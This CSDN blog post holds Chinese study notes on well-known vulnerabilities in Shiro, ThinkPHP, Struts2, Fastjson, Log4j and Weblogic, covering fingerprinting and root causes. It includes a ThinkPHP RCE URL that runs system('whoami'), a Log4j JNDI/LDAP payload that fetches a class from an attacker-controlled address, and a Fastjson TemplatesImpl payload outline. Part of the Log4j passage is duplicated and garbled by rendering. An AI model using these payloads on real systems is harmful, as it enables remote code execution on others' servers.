src学习记录(二)

本文详细介绍了ApacheShiro的RememberMe漏洞,ThinkPHP的代码执行风险,Struts2的ST2-045漏洞,Fastjson的反序列化利用,Log4j的JNDI注入问题以及Weblogic的反序列化远程命令执行。这些框架的漏洞主要涉及反序列化、未过滤的控制器访问和不安全的数据解析,可能导致严重的安全风险,如远程代码执行。
摘要由CSDN通过智能技术生成

学习目标:

  • Apache Shiro
  • ThinkPHP
  • struts2
  • Apache Log4j
  • Fastjson
  • Weblogic

学习内容:

1.Apache Shiro

字段内容
指纹信息请求包中,在Cookie信息中给 rememberMe变量赋任意值,收到返回包的Set-Cookie 值存在 rememberMe=deleteMe 字段,说明目标使用了Shiro框架
漏洞原理Apache Shiro框架提供了RememberMe的功能,用户登录成功后会生成经过加密并编码的cookie,在服务端接收cookie后。攻击者只要找到AES加密的密钥,就可以构造恶意对象,对其进行序列化->AES加密->Base64编码,然后将其作为cookie的rememberMe字段发送,对方服务器将rememberMe进行解密并且反序列化,最终造成恶意对象执行,导致反序列化漏洞
关键点Shiro漏洞的本质是处理cookie的流程有问题。漏洞的关键点就在于找到AES的加密秘钥,AES的密钥是硬编码在代码里。

2.ThinkPHP
在这里插入图片描述

字段内容
指纹信息url上输入http://192.168.xx.xx/ThinkPHP/logo.png,出现如下图片。该图片也存在于title中。除此之外,“十年磨一剑”也是Thinkphp的重要特征。
漏洞原理程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。从而使框架存在代码执行漏洞,攻击者可以利用构造的恶意URL执行任意代码。比如index.php?s=index/\namespace\class/method,在解析url时,会实例化\namespace\class类并执行任意method方法
例子RCE:http://192.168.xx.xx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami,其中\think\app是类名,后面是恶意方法

3.struts2

序号指纹信息
1一般st2框架开发的网站,url上会有.action或.do后缀的文件名,比如:http://192.168.xx.xx/integration/editGangster.action方法1可能不准确,因为spring框架或jboss系统有时候也存在.do结尾的文件名。
2一在相关接口追加actionErrors参数,通过网站页面的回显错误消息来判断。
3默认情况下,st2框架中存在http://192.168.xx.xx/struts/webconsole.html这个默认文件。
4抓包,看包中Content-Type字段的开头是否形如%{#x=[‘xxx’]方法4仅限于st2-045框架漏洞

漏洞原理:
st2-045

Struts2默认使用
org.apache.struts2.dispatcher.multipart.JakartaMultiPartReque
st类对上传数据进行解析,其在处理Content-Type时如果获得非预期的值
的话,将会抛出一个异常。在处理异常的过程中会对错误信息进行OGNL表 达式解析。如果错误信息中包含恶意语句,语句将被执行。

关键点:st2-045的漏洞,所有问题都出现在Content-Type字段上。

4.Fastjson

字段内容
指纹信息1、抓包,看请求包中传入的参数值是否形如json格式,如{“张三”:100,“李四”:200}。随后将json数据随意修改,看响应包中是否出现fastjson.JSONException字样。2、正常请求是get请求没有请求体。可以通过构造错误的POST请求,看返回包中是否有fastjson这个字符串。
漏洞原理Fastjson 在对 javaBean 进行序列化的时候会调用它的所有get或者is方法,反序列化的时候会调用所有的 set 方法,如果这个 set 方法中含有些危险的调用链,我们则可以利用这个反序列化过程来执行我们自己的命令。
关键点有这样一个json对象:{“@type”:TemplatesImpl,“_bytecodes”:[恶意语句],“_name”:‘xxx’,“_tfactory”:{xxx}};Fastjson在处理json对象时有问题,只要json对象包含@type:TemplatesImpl,那它就会执行_bytecodes字段里的语句。

修复建议:
对@type字段进行过滤。 |

5.Apache Log4j
执行逻辑

黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的
log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服
务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指
向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块
中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执
行到这段逻辑,导致jndi注入。

原理分三个模块:
${…}表达式、log4j的递归解析机制、jndi注入

原理

Jndi注入原理就是poc(写好的代码)中
j n d i : l d a p : / / 192.168. x x . x x / e x p 的 j n d i 变量可控。攻击者远程加载一个恶意 c l a s s 文件,当其中的恶意语句被传入到 l o g 4 j 日志文件时, l o o k u p 将恶意语句注入到 {jndi:ldap://192.168.xx.xx/exp}的jndi变量可控。攻击者远程加载 一个恶意class文件,当其中的恶意语句被传入到log4j日志文件时, lookup将恶意语句注入到 jndi:ldap://192.168.xx.xx/expjndi变量可控。攻击者远程加载一个恶意class文件,当其中的恶意语句被传入到log4j日志文件时,lookup将恶意语句注入到{jndi:ldap://…}中。接着程序通过ldap协议
访问192.168.xx.xx这个地址中包含java代码的class文件,从而达成漏 洞利用目的

6.Weblogic

字段内容
漏洞原理主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造并且利用weblogic默认开启的T3协议进行传输和解析,进而导致weblogic服务器将恶意代码反序列化,最后执行攻击语句。T3 是用于在 WebLogic 服务器和其他类型的Java程序之间传输信息的协议。服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
关键点Weblogic在通信过程中传输数据对象,涉及到反序列化操作,如果找到某个类在反序列化过程中能执行的代码,就有可能通过控制这些代码达到远程命令执行的效果。

学习产出:

  • CSDN 笔记博客 1篇
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值